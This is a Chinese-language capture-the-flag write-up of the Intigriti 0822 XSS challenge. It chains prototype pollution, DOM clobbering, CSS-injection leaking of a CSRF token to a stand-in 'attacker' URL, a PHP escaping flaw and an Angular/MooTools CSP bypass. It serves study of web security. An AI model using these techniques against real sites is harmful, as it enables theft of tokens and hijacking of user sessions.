Intigriti 0822 XSS Challenge Writeup
最近解了 Intigriti 0822 XSS Challenge,並成功在這題上面獲得了 First Blood。這題結合了多種前端的攻擊技巧,也有些值得學習的新利用方法可以學,所以會簡單紀錄一下我的解法
Overview
題目有提供 source code,所以先羅列些可能可利用的點出來:
app.php
可透過#msg=
指定 html,然後會經過 DOMPurify 2.3.6 sanitize 過之後 html injection,但在不到一秒的時間後就會被移除掉app.php
有直接的 html injection:value="<?= $_SESSION['name']; ?>"
,但長度需小於 20preview.php
可以透過 POST 參數desc
,雖然它會經過 html filter,但由於那 filter 方式是錯誤的所以可以 CSRF -> XSSpreview.php
會驗證 CSRF Token,而 CSRF Token 會出現在app.php
的頁面上- 全站都有 CSP,但是因為有允許
https://cdnjs.cloudflare.com/ajax/libs/
所以顯然是用 Angular.js 去繞
從這五個點就已足夠看出大致攻擊流程了:
- 透過
app.php
用某些方法 (e.g. CSS Injection) 偷到 CSRF Token - 以 Token 去 CSRF
preview.php
達成 XSS - 使用 Angular.js 繞過 CSP
然而這邊有幾個問題,例如 html injection
的內容在短時間內就會被移除掉,導致難以 CSS
Injection,所以需要找方法繞過。再來是 CSS Injection 因為 html
架構的一些原因實際執行起來並沒那麼簡單,這些問題都得一一解決。
Bypass HTML Injection Timeout
這個是整個 app.js
的內容:
1 | let isDarkMode = false |
首先 fetch theme.php
做某些事之後進到
start
,然後判斷 document.domain
決定是否是
production
和要不要指定 timeout
參數,然後最後
timeout
會被用在 removeChild
的
timeout。單從這邊來看是看不出什麼方法繞過這個時間限制的,所以可以關注前面的部分。
在上面 fetch 的 response 處理部分可以發現說如果
serverTheme
可控,那麼我們是可以在這邊做到 prototype
pollution 的,且我們 pollute 的值會是個單純 return 一個值的
function。例如假設 serverTheme
多了 __proto__
像是下面這樣:
1 | ... |
那麼 Object.prototype.asd() === true
就會成立。因此假設說 start
那邊進到了
document.domain.match(/testing/)
的 branch,那麼只要
pollute Object.prototype.timeout
讓它回傳一個很大的數,我們就能讓 html injection 持續的比較久一點。
而要控制 serverTheme
也不難,因為可以看到說它會把 body
當作 JSON parse,之後輸出 format 過的 JSON 出來,中間並沒有檢查
Content-Type
,所以這邊可以用知名的 CSRF JSON
招數繞過即可。
不過這樣的話問題就變成了要怎麼讓
document.domain.match(/testing/)
成立。雖然 Google
一下可以知道 0121 的 xss challenge 有支援
*.challenge-0121.intigriti.io
,所以像是 testing.challenge-0121.intigriti.io
都能 work,但是這題並沒有這樣的設計,所以這招沒辦法使用。
這邊要繞過的關鍵就是使用那個 20 字以內的 injection 了,因為 injection
的地方是在一個 attribute 之中,所以塞
"><img name=domain>
剛剛好可以 clobber 到
document.domain
,此時它會是個 HTMLElement,上面並沒有
.match
的函數所以會出錯。這邊就要再用一次 prototype
pollution,直接讓 Object.prototype.match() === true
成立就能讓它通過條件檢查,進到 branch,並成功達成讓 HTML Injection
持久的效果。
總之這邊要做的事就是先 CSRF JSON 修改 theme,去 prototype pollution
修改 timeout()
和 match()
讓它 timeout
變很長,使 HTML Injection
的部分可以持久保持在頁面上,方便後面的利用。
CSS Injection
因為要 CSRF preview.php
會需要 CSRF
Token,所以需要找方法 leak CSRF Token 出來才行。而 DOMPurify 預設允許的
tag 之一就有 <style>
,所以方法很明顯就是 CSS
Injection。
PS:
DOMPurify.sanitize('<style></style>')
會是空字串,但DOMPurify.sanitize('a<style></style>')
不會,這是因為 DOMPurify 內部處理是直接使用DOMParser
,所以行為就類似 browser 處理 HTML5 一樣,預設 style 會被放到<head>
之中
這題 app.php
頁面的 CSRF Token 有兩個地方:
1 | <head> |
input
的部分應該比較常見,就是
input[value^=a]
這樣去 match,然後透過
background: url(http://attacker/?leak=a)
這樣的方法回傳達成的。然而這邊有個很大的問題是
type="hidden"
會導致整個 element 都不會顯示出來,從而也使
background
的部分也不載入,因此沒辦法透過這個地方
leak。
雖然 Google 一下很快就能找到 input[value^=a] ~ *
的方法去 match 對應 input 同層級後面的任意 element 來代替,但是這邊
input
是 div
底下的唯一元素,因此這招也不能用。
其實 css 還有個比較新的功能是
:has
,在支援的瀏覽器上可以用
div:has(input[value^=a])
的方法去 match 那個
div
。然而 :has
在 Chromium 中是在 105
版本才加入的,而 Chrome Stable 升到 105 的日期是 2022/08/30,也就是這個
challenge 結束的兩天後才會正式 release,因此這招也不能用。
這邊的關鍵是注意到頁面的 <meta>
的
content
中也是有 CSRF Token,但由於它是個隱藏的元素,所以
background
一樣是沒有作用的。不過如果加上了
head, meta { display:block; }
會發現很有趣的事,就是
<head>
中的元素真的能用 display: block;
讓它變得可見,此時 background
也真的能產生作用,因此用
meta[content^=a]
去 leak 這個招數是確實可行的。
因為要在一次把整個 CSRF Token (32 chars) leak 出來,所以需要一些 CSS
@import
的利用配合 server 動態生成 CSS 才能達成,我是參考
Sequential Import Chaining
的方法弄的。基本上就是先弄 32 個 <style>
裡面每個都放一個 @import 'SERVER/polling/{i}';
,然後 server
先處理回傳 i=0
的 css 像是:
1 | meta[content^=0] { |
假設第一個字元是 a
,那麼當 server 收到
/leak/a
的時候再回傳 i=1
的 response
時再回傳:
1 | meta[content^=a0] { |
用這個方法就能反覆的一個一個字元 leak
出來了。不過實際上實作會遇到一些問題,例如 Chromium 一般對一個 host
最多只會有 6 個 connections,當前面 polling 卡住的時候時候
/leak/?
是送不出去的。
繞過方法也很簡單,就是提供兩個 host 就能繞過這個問題了。像是我是用 Flask 在一個 port 上 listen,然後接 socat 直接 proxy 到另一個 port 去,然後讓 polling 和 leak 使用不同的 port 就能繞過這點了。另外是我後來因為需要 https 才能繞過 mixed content 的問題把 exploit 弄到我的網站上面,因為是有 CloudFlare 在前端當 proxy 所以有 HTTP/3,發現說在 HTTP/3 的情況下可以直接使用同個 host 也不會卡住,所以其實不用這麼麻煩。我猜 HTTP/2 大概也有一樣的效果吧。
XSS + Angular CSP Bypass
拿到 CSRF Token 之後就能 CSRF 攻擊 preview.php
了,它雖然有 escape html 但處理是有問題的:
1 | $desc = htmlspecialchars($desc); |
因為它在 escape 之後還會 replace html 內容,以下的內容經過這些處理之後會變成更下面那樣:
1 | http://www.youtube.com/embed/srcdoc='asd'.png |
1 | <iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe> |
因此我們透過兩層替換讓 payload 跑到 attribute context,然後用 srcdoc 在裡面 XSS
這個只在 php 7 有用,因為 php 8 的
htmlspecialchars
預設選項有ENT_QUOTES
,導致它也會 escape'
,可能會變得更麻煩
最後是要繞 CSP,因為最初那個 iframe 是 hidden 的,且又不要 user interaction 的話最穩定的繞法是使用 Angular.js + Prototype.js:
1 | <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> |
其實用比較新舊的 Angular.js 沒有 Sandbox 保護很容易達成 eval,但是因為會違反 CSP 所以還是要找方法透過在
ng-csp
模擬的執行環境中拿到window
才行
然而 preview.php
有對 $desc
做些 blacklist
檢查:
1 | $dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\']; |
其中就禁止了 proto
和其他 html 相關的 escape
字元,所以沒辦法使用
prototype.js
,所以要找有沒有類似的替代品。因為直接 Google
都找不太到相關的資訊,所以需要自己理解這個 Angular Sandbox Escape
是怎麼做到的才行。它的關鍵在於這裡:
1 | function curry() { |
可以知道當它沒有參數時會直接 return this
,然後熟悉
javascript 機制的人應該知道 this
在不存在的情況下會是
global:
1 | function f() { return this } |
所以我們的目標很簡單,就是在 cdnjs 上找到一個會動 builtin object 的
prototype
的 library,且裡面還要包含
return this
才行。而我的思路是想說如今 2022 基本上除了
polyfill 應該比較少有動 prototype 的 library,所以應該要往舊的 library
找找看。而想到 Prototype.js 同個時代的 library
也有其他不少選擇,而其中最著名的應該是 MooTools,因為它就是
Array.prototype.includes
不叫
Array.prototype.contains
的主要原因。另外和
MooTools 有關的類似情況還有 SmooshGate,兩者都是因為
MooTools 會修改內建的 prototype 有關。
總之我們找到了會改 Prototype 的 library,所以在 mootools-core.js
中搜尋一下 return this
可以找到:
1 | Function.prototype.overloadSetter = function(usePlural){ |
因此只要 fn.overloadSetter().call()
就能拿到
window
物件,使用這個方法微調一下 Angular.js 中的
expression 就能繞過 CSP 得到 alert(document.domain)
了:
1 | <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script> |
Final Exploit
完整的 Exploit 可以在這邊下載: exp.tar.gz
這個題目真的相當有趣,綜合了許多常見的招式結合在一起,並且還有些不同的改變
(如 <meta>
, MooTools
等等),需要能把許多基本功合在一起才有辦法解開這題。另外還讓我第一次學到了怎麼做一個實際的
CSS Injection,而不只是了解粗略概念而已。
另外是我這篇文章中的 CSS Injection 方法在 Firefox
上是有些小問題的,因為它在處理 @import
和 Chromium
不太相同。根據 Huli 所說可以參考 CSS
data exfiltration in Firefox via a single injection point
的方法做些修正之後應該就能成功了,可能之後有空會來研究看看它們的差異究竟在哪。
Appendix
作者之一 Huli 的 writeup: Intigriti 0822 XSS Challenge Author Writeup
作者之一 Bruno 的 writeup: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io